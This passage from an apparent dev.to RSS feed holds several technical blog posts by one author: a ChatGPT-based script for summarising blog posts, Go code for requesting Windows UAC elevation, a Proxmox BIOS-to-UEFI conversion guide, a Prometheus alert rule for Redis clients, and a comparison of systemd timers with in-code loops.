&lt;p&gt;They recently (March 1, 2023) released the ChatGPT model that powers the web interface, &lt;code&gt;gpt-3.5-turbo&lt;/code&gt;, and it’s now available for developers to use in their own applications. You can read more about it in their &lt;a href="https://openai.com/blog/introducing-chatgpt-and-whisper-apis"&gt;blog post&lt;/a&gt;, there are other exciting news there too.&lt;/p&gt;

&lt;p&gt;In this blog post, I will walk you through a script that uses this new model to automate the process of generating summaries, tags, and titles for your blog posts.&lt;/p&gt;

&lt;p&gt;And yes, a great deal of this post was generated by the ChatGPT model. Sue me.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;Before we begin, you will need to have the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A OpenAI API key&lt;/li&gt;
&lt;li&gt;Python 3.x installed on your system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you haven’t already, you can sign up for OpenAI API access on their website.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installing the Dependencies
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
pip install openai backoff python-frontmatter

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Script
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
import glob
import json
import sys
import termios
import tty

import backoff
import frontmatter
import openai

openai.api_key = "OPENAI_API_KEY"

def _getch():
    fd = sys.stdin.fileno()
    old_settings = termios.tcgetattr(fd)
    try:
        tty.setraw(fd)
        ch = sys.stdin.read(1)
    finally:
        termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
    return ch

@backoff.on_exception(backoff.expo, openai.error.RateLimitError)
def completions_with_backoff(**kwargs):
    return openai.ChatCompletion.create(**kwargs)

system_prompt = [
    "You are ChatGPT, a helpful assistant.",
    "You generate insightful short summaries and relevant tags for user supplied blog posts.",
    "Assume that the blog posts are in Markdown format.",
    "You don't generate summaries that are cryptic or unhelpful.",
    "You don't generate clickbait titles or summaries.",
    "The summary you generate is SEO friendly and no longer than 80 characters.",
    "Tags you generate are SEO friendly, lowercase and a single word each.",
    "You can reply with a title field that is different from the original if it's more SEO friendly.",
    "If the language is pt_BR, you must generate a summary and a title in Brazilian portuguese.",
    "The title field should be a string.",
    "The summary field should be a string.",
    "The tags field should be a list of strings.",
    "Don't include any kind of notes."
    "Your response should be in JSON format.",
    "Don't reply with anything other than the JSON object."
]

for fname in glob.glob("../content/english/post/*.md"):
    if fname.split('/')[-1] == "_index.md":
        continue

    with open(fname, "r") as f:
        post = frontmatter.loads(f.read())
        title = post['title']
        categories = post['categories']
        content = post.content
        summary = post.get('summary', '')
        tags = post.get('tags', [])
        generated = post.get('generated', False)
        language = post.get('language', 'en')
    print(f'{fname} ({language})')

    if generated:
        print(" skipping already generated post")
        print()
        continue

    user_prompt = [
        "Here's a blog post I'd like to summarize:",
        f"title: {title}",
        f"categories: {categories}",
        f"tags: {tags}",
        f"language: {language}",
        "content:", content]

    context_length = len('\n'.join(system_prompt + user_prompt)) * 0.75
    context_length_without_content = len('\n'.join(system_prompt + user_prompt[:-1])) * 0.75
    if context_length &amp;gt; 4096:
        print(" ! reducing context length...")
        diff = int(4096 - context_length_without_content)
        user_prompt[-1] = user_prompt[-1][:diff]

    while True:
        completion = completions_with_backoff(
            model="gpt-3.5-turbo",
            messages=[
                {"role": "system", "content": '\n'.join(system_prompt)},
                {"role": "user", "content": '\n'.join(user_prompt)},
            ],
        )

        result = {}
        try:
            result = json.loads(completion["choices"][0]["message"]["content"].strip())
        except json.decoder.JSONDecodeError:
            try:
                fields = completion["choices"][0]["message"]["content"].strip().split('\n')
                for field in fields:
                    key = field.split(':')[0].strip()
                    value = ':'.join(field.split(':')[1:])
                    result[key] = value
            except Exception as e:
                print(" [-] Failed to parse response")
                print(completion)
                print()
                continue

        print(completion)
        new_title = result.get('title', title).strip()
        new_summary = result.get('summary', summary).strip()
        new_tags = result.get('tags', tags)

        print()
        print(f" oldTitle: {title}")
        print(f" newTitle: {new_title}")
        print()
        print(f" oldTags: {tags}")
        print(f" newTags: {new_tags}")
        print()
        print(f" oldSummary: {summary}")
        print(f" newSummary: {new_summary}")
        print()

        print(" accept? [y/n/s/q] ", end=' ')
        sys.stdout.flush()
        ch = _getch()

        print()
        if ch == 'y':
            post['title'] = new_title
            post['tags'] = new_tags
            post['summary'] = new_summary
            post['generated'] = True
            with open(fname, "w") as f:
                f.write(frontmatter.dumps(post))
            print(' saved...')
            print()
            break
        elif ch == 'n':
            print(' retrying...')
            print()
            continue
        elif ch == 'q':
            print(' exiting...')
            print()
            exit(0)
        else:
            print(' skipping...')
            print()
            break

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Example output
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
python3 generate_summaries.py
../content/english/post/prometheus-alerting-rule-for-redis-clients.md (en)
  skipping already generated post

../content/english/post/corredores-da-loucura-parte-2.md (pt_BR)
  skipping already generated post

../content/english/post/making-the-most-out-of-your-yubikey-4.md (en)
  skipping already generated post

../content/english/post/why-management-ladders-should-start-higher.md (en)
  skipping already generated post

../content/english/post/on-salary-ceilings.md (en)
  skipping already generated post

../content/english/post/the-role-of-the-leader-when-experts-talk.md (en)
  skipping already generated post

../content/english/post/on-task-assignment.md (en)
  skipping already generated post

../content/english/post/a-natureza-e-o-homem.md (en)
  skipping already generated post

../content/english/post/systemd-timers-vs-code-loops.md (en)
  ! reducing context length...

  oldTitle: SystemD Timers vs Code Loops
  newTitle: SystemD Timers vs Code Loops

  oldTags: ['timers', 'code', 'systemd']
  newTags: ['timers', 'code', 'systemd', 'linux', 'timerfd', 'resource accounting']

  oldSummary: Comparing the effectiveness of infinite loop strategies on Linux systems
  newSummary: Comparing SystemD Timers vs code loops effectiveness in computation
              and energy consumption on Linux, including the use of timerfd and 
              resource accounting

  accept? [y/n/s/q]
  saved...

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Explanation
&lt;/h2&gt;

&lt;p&gt;This script performs a task of generating summaries and relevant tags for user-supplied blog posts using OpenAI’s GPT-3 language model. The script reads the markdown files of blog posts from the ../content/english/post/ directory, extracts the necessary information like title, content, categories, tags, summary, and language from the file’s frontmatter, and generates a user prompt to get the summary and tags using GPT-3.&lt;/p&gt;

&lt;p&gt;The script uses the openai Python package to access the GPT-3 API, which requires an API key to be set using openai.api_key. It also uses the frontmatter package to extract information from the markdown files' frontmatter and the glob package to read all markdown files in the specified directory.&lt;/p&gt;

&lt;p&gt;The completions_with_backoff function uses the backoff package to retry the API call if it encounters a RateLimitError exception. It calls the openai.ChatCompletion.create() method to generate the completion using the GPT-3 language model specified by the model parameter and the user prompt specified by the messages parameter.&lt;/p&gt;

&lt;p&gt;The script generates a system_prompt list containing the prompts for the language model. The user_prompt list is generated for each blog post and contains the information extracted from the post’s frontmatter and the language model prompts.&lt;/p&gt;

&lt;p&gt;The script then calculates the context_length and context_length_without_content of the user prompt and checks if it exceeds the maximum length of 4096 characters allowed by the GPT-3 API. If the length exceeds the limit, it truncates the content field of the user prompt.&lt;/p&gt;

&lt;p&gt;The script then enters a loop to generate a completion for the user prompt and prints the current state of the post, including the old and new title, tags, and summary generated by GPT-3. The user can then accept, reject, or skip the generated summary and tags by entering ‘y’, ‘n’, or ’s' respectively. Entering ‘q’ will exit the script.&lt;/p&gt;

&lt;p&gt;If the user accepts the generated summary and tags, the script updates the post’s frontmatter with the new information and sets the generated field to True. Finally, it writes the updated frontmatter back to the file and moves on to the next post.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prompting
&lt;/h3&gt;

&lt;p&gt;In the context of natural language processing and artificial intelligence, prompting refers to the process of providing input to a language model or AI system to generate a response or output. A prompt can be a question, a statement, or any other form of input that the language model or AI system can process to generate a relevant response. The quality of the prompt can have a significant impact on the quality and relevance of the output generated by the language model or AI system. Therefore, designing effective prompts is an essential part of developing natural language processing and AI systems that can effectively understand and respond to human language.&lt;/p&gt;

&lt;p&gt;This prompt exists as a set of guidelines for OpenAI’s ChatGPT language model to ensure that it generates insightful summaries and relevant tags for user-supplied blog posts in a consistent and user-friendly manner. The prompt outlines the requirements for the length and format of the summary and tags and ensures that they are SEO-friendly and easy to understand. Additionally, the prompt specifies that the language model should not generate clickbait titles or summaries and that it should avoid generating cryptic or unhelpful content. Finally, the prompt provides guidelines for generating responses in different languages and ensuring that the output is formatted correctly.&lt;/p&gt;

&lt;p&gt;I also try my best to have the output be as consistent as possible. Language models are not deterministic, so the output can vary slightly each time you run the script. Getting a valid JSON most of the time is already a win.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In conclusion, the potential of language models like GPT-3 is vast and far-reaching, and helping bloggers is just one of the many possibilities they offer.&lt;/p&gt;

&lt;p&gt;From healthcare to finance, legal services to customer service, and beyond, these models can transform industries by automating tasks, improving efficiency, and enhancing the way we live and work.&lt;/p&gt;

&lt;p&gt;Their ability to understand and generate human-like language has opened up a world of new possibilities for developing innovative solutions that can make our lives easier and more convenient.&lt;/p&gt;

&lt;p&gt;As research in this area continues to evolve, we can expect to see even more exciting applications of language models that can shape the future of technology and how we interact with it.&lt;/p&gt;

&lt;p&gt;As these language models continue to advance and become more powerful, it raises important questions about the potential impact on information security.&lt;/p&gt;

&lt;p&gt;With the ability to generate convincing and sophisticated language, there is a risk (a concrete one, already seem in the wild) of these models being used for malicious purposes, such as generating convincing phishing emails, fake news, or even deepfakes.&lt;/p&gt;

&lt;p&gt;As a society, we need to be mindful of these risks and take proactive steps to address them.&lt;/p&gt;

&lt;p&gt;This might include developing new strategies for detecting and preventing the misuse of language models, investing in more advanced security measures, and educating users on how to identify and protect themselves against potential threats.&lt;/p&gt;

&lt;p&gt;Ultimately, it is up to all of us to ensure that these powerful tools are used responsibly and ethically to advance our collective interests and improve our lives.&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>How to Request Admin Permissions in Windows Through UAC with Golang</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Wed, 15 Feb 2023 07:59:42 +0000</pubDate>
      <link>https://dev.to/kamushadenes/how-to-request-admin-permissions-in-windows-through-uac-with-golang-2a51</link>
      <guid>https://dev.to/kamushadenes/how-to-request-admin-permissions-in-windows-through-uac-with-golang-2a51</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/how-to-request-admin-permissions-in-windows-through-uac-with-golang/" rel="noopener noreferrer"&gt;https://blog.hadenes.io/post/how-to-request-admin-permissions-in-windows-through-uac-with-golang/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In Windows, User Account Control (UAC) is a security feature that helps prevent unauthorized changes to the operating system. When an application requires elevated privileges to perform certain actions, UAC prompts the user for permission to proceed.&lt;/p&gt;

&lt;p&gt;In this guide, we’ll show you how to request admin permissions in Windows through UAC using Golang.&lt;/p&gt;

&lt;p&gt;So yeah, it’s basically &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Requesting Admin Permissions
&lt;/h3&gt;

&lt;p&gt;To request admin permissions in Windows through UAC with Golang, you’ll need to use the &lt;strong&gt;syscall&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;windows&lt;/code&gt;&lt;/strong&gt; packages. Here’s how you can do it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
package main

import (
    "syscall"
    "time"
    "os"
    "strings"
    "fmt"
    "golang.org/x/sys/windows"
)

func becomeAdmin() {
    verb := "runas"
    exe, _ := os.Executable()
    cwd, _ := os.Getwd()
    args := strings.Join(os.Args[1:], " ")

    verbPtr, _ := syscall.UTF16PtrFromString(verb)
    exePtr, _ := syscall.UTF16PtrFromString(exe)
    cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
    argPtr, _ := syscall.UTF16PtrFromString(args)

    var showCmd int32 = 1 //SW_NORMAL

    err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd)
    if err != nil {
        fmt.Println(err)
    }
}

func checkAdmin() bool {
    _, err := os.Open("\\\\.\\PHYSICALDRIVE0")

    return err == nil
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;&lt;code&gt;becomeAdmin()&lt;/code&gt;&lt;/strong&gt; function elevates the current executable to admin privileges. It retrieves the path and arguments of the current executable using &lt;strong&gt;&lt;code&gt;os.Executable()&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;os.Args&lt;/code&gt;&lt;/strong&gt; , respectively, and uses &lt;strong&gt;&lt;code&gt;windows.ShellExecute()&lt;/code&gt;&lt;/strong&gt; to run the executable with elevated privileges.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;&lt;code&gt;checkAdmin()&lt;/code&gt;&lt;/strong&gt; function checks if the current process is running with admin privileges. It does this by attempting to open the physical drive using &lt;strong&gt;&lt;code&gt;os.Open()&lt;/code&gt;&lt;/strong&gt;. If an error occurs, the function returns &lt;strong&gt;&lt;code&gt;false&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To use these functions, you can call &lt;strong&gt;&lt;code&gt;checkAdmin()&lt;/code&gt;&lt;/strong&gt; to check if the current process is running with admin privileges. If not, call &lt;strong&gt;&lt;code&gt;becomeAdmin()&lt;/code&gt;&lt;/strong&gt; to elevate the current process:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
if !checkAdmin() {
    becomeAdmin()

    time.Sleep(2 * time.Second)

    os.Exit(0)
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will kill the original process and spawn a new one with admin privileges, so you likely want this to be the first thing to run.&lt;/p&gt;

&lt;h3&gt;
  
  
  Source
&lt;/h3&gt;

&lt;p&gt;This guide is based on the Gist created by user &lt;strong&gt;&lt;code&gt;jerblack&lt;/code&gt;&lt;/strong&gt; , which can be found at &lt;a href="https://gist.github.com/jerblack/d0eb182cc5a1c1d92d92a4c4fcc416c6" rel="noopener noreferrer"&gt;https://gist.github.com/jerblack/d0eb182cc5a1c1d92d92a4c4fcc416c6&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>Convert a Proxmox Windows Guest from BIOS to UEFI</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Wed, 15 Feb 2023 07:27:58 +0000</pubDate>
      <link>https://dev.to/kamushadenes/convert-a-proxmox-windows-guest-from-bios-to-uefi-5976</link>
      <guid>https://dev.to/kamushadenes/convert-a-proxmox-windows-guest-from-bios-to-uefi-5976</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/convert-a-proxmox-windows-guest-from-bios-to-uefi/" rel="noopener noreferrer"&gt;https://blog.hadenes.io/post/convert-a-proxmox-windows-guest-from-bios-to-uefi/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In order to upgrade to a guest to Windows 11 or to passthrough a GPU the way it’s recommended in the &lt;a href="https://pve.proxmox.com/wiki/Pci_passthrough#GPU_Passthrough" rel="noopener noreferrer"&gt;official Proxmox documentation&lt;/a&gt;, you need to make sure the guest uses UEFI to boot.&lt;/p&gt;

&lt;p&gt;By default, Proxmox uses SeaBIOS, thus chances are high that your Windows guest was installed in BIOS mode.&lt;/p&gt;

&lt;p&gt;Gladly, in Windows 10, there’s a quick and easy fix to that. In this guide, I’ll walk you through the steps needed to convert your Proxmox Windows guest to UEFI.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This guide is based on the information provided in a&lt;/em&gt; &lt;a href="https://www.reddit.com/r/Proxmox/comments/dnlgww/comment/izuyl8j/?utm_source=reddit&amp;amp;utm_medium=web2x&amp;amp;context=3" rel="noopener noreferrer"&gt;&lt;em&gt;Reddit post&lt;/em&gt;&lt;/a&gt; &lt;em&gt;by user &lt;code&gt;Browncow8&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;Before you begin, you’ll need to make sure that your Windows guest meets the following prerequisites:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It is running Windows 10 version 1703 or later&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Converting the Windows Guest to UEFI
&lt;/h2&gt;

&lt;p&gt;Once you have the prerequisites in place, follow these steps to convert your Proxmox Windows guest to UEFI:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open Command Prompt as an administrator in the guest machine.&lt;/li&gt;
&lt;li&gt;Run the following command to validate the conversion process:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mbr2gpt /validate /allowFullOS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;If the validation is successful, run the following command to convert the disk to GPT format:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mbr2gpt /convert /disk:0 /allowFullOS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Power down the machine.&lt;/li&gt;
&lt;li&gt;Open the Proxmox web interface and navigate to the options for the guest machine.&lt;/li&gt;
&lt;li&gt;Add a new “EFI disk” to the guest machine, making sure to enable the “Pre-Enrolled-Keys” option.&lt;/li&gt;
&lt;li&gt;Add a new “TPM” device to the guest machine. &lt;em&gt;(only necessary if you plan to upgrade to Windows 11)&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Change the “BIOS” option from “SeaBIOS” to “OVMF”.&lt;/li&gt;
&lt;li&gt;Change the “Machine” option to “q35”. &lt;em&gt;(only if you wish to passthrough the GPU as a PCIe device)&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Start the guest machine.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;_Note: If you receive an error saying &lt;code&gt;Failed to update ReAgent.xml&lt;/code&gt;, it refers to the hidden recovery environment and it should be ok to ignore it, or you can try&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reagentc /disable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;followed by&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reagentc /enable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it! You have successfully converted your Proxmox Windows guest to UEFI.&lt;/p&gt;

&lt;p&gt;If you’re performing GPU passthrough to the Windows guest, make sure to follow the additional steps found in the Proxmox documentation at &lt;a href="https://pve.proxmox.com/wiki/Pci_passthrough#GPU_Passthrough." rel="noopener noreferrer"&gt;https://pve.proxmox.com/wiki/Pci_passthrough#GPU_Passthrough.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you encounter any problems during the conversion process or with GPU passthrough, refer to the Proxmox documentation or seek help from the Proxmox community forums.&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>Prometheus Alerting Rule for Redis Clients</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Fri, 19 Mar 2021 05:13:35 +0000</pubDate>
      <link>https://dev.to/kamushadenes/prometheus-alerting-rule-for-redis-clients-414k</link>
      <guid>https://dev.to/kamushadenes/prometheus-alerting-rule-for-redis-clients-414k</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/prometheus-alerting-rule-for-redis-clients/" rel="noopener noreferrer"&gt;https://blog.hadenes.io/post/prometheus-alerting-rule-for-redis-clients/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Recently, a customer auto scaling farm got out of hand due to a misconfiguration on their end, which led to Redis maximum number of connections to be exceeded, leading to a lot of requests failing.&lt;/p&gt;

&lt;p&gt;Curiously, they were way below the default maximum number of clients of &lt;code&gt;10000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After some digging up, it turns out that each client needs one file descriptor (well, that would have been easy to guess…), so they failed when they reached the default &lt;code&gt;nofile&lt;/code&gt; limit of 1024.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://redis.io/topics/clients" rel="noopener noreferrer"&gt;Redis documentation&lt;/a&gt; states the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;In Redis 2.6 this limit is dynamic: by default it is set to 10000 clients, unless otherwise stated by the `maxclients` directive in Redis.conf.

However, Redis checks with the kernel what is the maximum number of file descriptors that we are able to open (the _soft limit_ is checked). If the limit is smaller than the maximum number of clients we want to handle, plus 32 (that is the number of file descriptors Redis reserves for internal uses), then the number of maximum clients is modified by Redis to match the amount of clients we are _really able to handle_ under the current operating system limit.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the configuration error was fixed, we needed to ensure that never happened again, so I came up with this Prometheus alert rule to prevent that, based on the excellent set of rules from &lt;a href="https://awesome-prometheus-alerts.grep.to/rules#redis" rel="noopener noreferrer"&gt;Awesome Prometheus&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
alert: RedisTooManyConnections
expr: (sum by (instance) (redis_connected_clients + 32)) &amp;gt; (sum by (instance)
  (process_max_fds{job="node"} * 0.8))
for: 2m
labels:
  severity: warning
annotations:
  description: |-
    Redis instance has too many connections
      VALUE = {{ $value }}
      LABELS: {{ $labels }}
  summary: Redis too many connections (instance {{ $labels.instance }})

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will alert if they reach 80% of the total available connections.&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>SystemD Timers vs Code Loops</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Tue, 16 Mar 2021 11:56:16 +0000</pubDate>
      <link>https://dev.to/kamushadenes/systemd-timers-vs-code-loops-5p8</link>
      <guid>https://dev.to/kamushadenes/systemd-timers-vs-code-loops-5p8</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/systemd-timers-vs-code-loops/" rel="noopener noreferrer"&gt;https://blog.hadenes.io/post/systemd-timers-vs-code-loops/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this post, we are going to compare the differences in effectiveness, from a computation and energy consumption perspective, between SystemD Timers and in-code loops for executing infinite loops.&lt;/p&gt;

&lt;p&gt;We’ll focus specifically on Linux, since features such as &lt;em&gt;timerfd&lt;/em&gt; are only available on it, although similar implementations exist for BSD and OSX such as &lt;em&gt;kqueue&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The inspiration of this post came from &lt;a href="https://serverfault.com/questions/1011270/what-is-more-effective-running-a-script-with-a-loop-or-having-systemd-execute-i" rel="noopener noreferrer"&gt;this StackOverflow thread&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The case for SystemD Timers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Pros
&lt;/h3&gt;

&lt;h4&gt;
  
  
  timerfd
&lt;/h4&gt;

&lt;p&gt;SystemD makes use of the Linux Kernel’s &lt;a href="https://man7.org/linux/man-pages/man2/timerfd_create.2.html" rel="noopener noreferrer"&gt;timerfd&lt;/a&gt; timers, a &lt;a href="https://man7.org/linux/man-pages/man2/timer_create.2.html" rel="noopener noreferrer"&gt;POSIX timer&lt;/a&gt; alternative that is more event-loop friendly, since it notifies time expiration via file descriptors (hence the &lt;em&gt;fd&lt;/em&gt; suffix), which allows for the use of things such as &lt;em&gt;epoll.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Being event-loop based, it also facilitates multi-threading and is very resource friendly.&lt;/p&gt;

&lt;p&gt;Also, POSIX timers are considered by some to &lt;a href="https://davmac.wordpress.com/2016/08/12/posix-timer-apis-are-borked/" rel="noopener noreferrer"&gt;have a terrible API&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Resource Accounting
&lt;/h4&gt;

&lt;p&gt;If you add &lt;code&gt;CPUAccounting&lt;/code&gt; and &lt;code&gt;MemoryAccounting&lt;/code&gt; to your service’s &lt;code&gt;[Service]&lt;/code&gt; block (or have those enabled by default), and also have CGroup accounting enabled (usually the default), you are able to known exactly how much resource your service unit consumed without having to resort to custom code or external tools.&lt;/p&gt;

&lt;p&gt;By running &lt;code&gt;systemctl status&lt;/code&gt; on such services, you get an output similar to the one below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;● docker.service - Docker Application Container Engine
     Loaded: loaded (/nix/store/j0y2wmaywsvf8hs7y4pqd4jhll0ncsa8-docker-19.03.12/etc/systemd/system/docker.service; enabled; vendor preset: enabled)
    Drop-In: /nix/store/ig74rh79479nq89dd20fjhsn82kf0xdh-system-units/docker.service.d
             └─overrides.conf
     Active: active (running) since Tue 2021-03-16 08:34:15 -03; 56min ago
TriggeredBy: ● docker.socket
       Docs: https://docs.docker.com
   Main PID: 2830 (dockerd)
         IP: 0B in, 0B out
      Tasks: 29 (limit: 4915)
     Memory: 163.3M &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; Memory Accounting
        CPU: 9.710s &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; CPU Accounting
     CGroup: /system.slice/docker.service
             ├─2830 /nix/store/j0y2wmaywsvf8hs7y4pqd4jhll0ncsa8-docker-19.03.12/libexec/docker/dockerd --group=docker --host=fd:// --log-driver=journald --live-restore
             └─2844 containerd --config /var/run/docker/containerd/containerd.toml --log-level info

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Last Run and Next Run
&lt;/h4&gt;

&lt;p&gt;With SystemD, by running &lt;code&gt;systemctl list-timers&lt;/code&gt; you are able to conveniently check when the timer was last run, when it’s scheduled to run next and how much time is left before that happens. You are also able to see when the timer suceeded for the last time.&lt;/p&gt;

&lt;h4&gt;
  
  
  Immediate Changes
&lt;/h4&gt;

&lt;p&gt;When you run a timer, any change you make to your program or script will of course be used next time it runs.&lt;/p&gt;

&lt;p&gt;If your service where to loop in it’s on code, you would need to restart it in order to apply the changes.&lt;/p&gt;

&lt;p&gt;A trivial matter, but worth considering.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cons
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Startup Cost
&lt;/h4&gt;

&lt;p&gt;A timer needs to pay the cost of starting up the application every time it runs.&lt;/p&gt;

&lt;p&gt;The impact of this obviously depends on your specific use case.&lt;/p&gt;

&lt;p&gt;In a particular case of mine where I use &lt;code&gt;nix-shell&lt;/code&gt;, this cost in not irrelevant, although I mitigated it using &lt;a href="https://github.com/xzfc/cached-nix-shell" rel="noopener noreferrer"&gt;cached-nix-shell&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Excessive Logging
&lt;/h4&gt;

&lt;p&gt;Each time the unit starts or stops, a new log entry is created on the journal.&lt;/p&gt;

&lt;p&gt;For very frequent tasks, this may fill your journal with useless information.&lt;/p&gt;

&lt;p&gt;Apparently this can be mitigated by using &lt;code&gt;LogLevelMax=alert&lt;/code&gt; on the service definition, but I haven’t tested this.&lt;/p&gt;

&lt;h4&gt;
  
  
  Accuracy
&lt;/h4&gt;

&lt;p&gt;Not exactly a con since it can be easily configured around, but by default SystemD timers have an accuracy of 1 minute. T&lt;/p&gt;

&lt;p&gt;his means that, much like Cron, your minimum interval by default is 1 minute.&lt;/p&gt;

&lt;p&gt;This can be fixed by setting &lt;code&gt;AccuracySec&lt;/code&gt; to something lower.&lt;/p&gt;

&lt;p&gt;For scripts that I want to run every 2 seconds or so, I set &lt;code&gt;AccuracySec=1s&lt;/code&gt;, but you can go as lower as &lt;code&gt;AccuracySec=1us&lt;/code&gt;, although that’s likely overkill and will generate much more wake-ups than you actually need, consuming more battery.&lt;/p&gt;

&lt;p&gt;Set it to a sane amount based on your exact need.&lt;/p&gt;

&lt;h2&gt;
  
  
  The case for Code Loops
&lt;/h2&gt;

&lt;p&gt;This part is extremely difficult to summarize, since each and every programming language has their very own way of handling timers.&lt;/p&gt;

&lt;p&gt;On Python, for example, you can use &lt;a href="https://github.com/FrankAbelbeck/linuxfd" rel="noopener noreferrer"&gt;linuxfd&lt;/a&gt; to interface with the same &lt;em&gt;timerfd&lt;/em&gt; SystemD uses, achieving a very similar result. By default, if I’m not mistaken, calling functions such as &lt;code&gt;sleep&lt;/code&gt; makes use of the default POSIX Timer interface.&lt;/p&gt;

&lt;p&gt;On C, you obviously have easy access to any syscall you need, allowing you to use the implementation that suits you best.&lt;/p&gt;

&lt;p&gt;For JVM-based languages, such as Java, Clojure, Kotlin (the list goes on…), it mainly depends on the specific JVM implementation, but it most likely ends up mapping to the default POSIX Timer on Unix systems.&lt;/p&gt;

&lt;p&gt;In Shell, since each and every instruction is a command, you basically have startup costs for every line anyway, so it doesn’t matter.&lt;/p&gt;

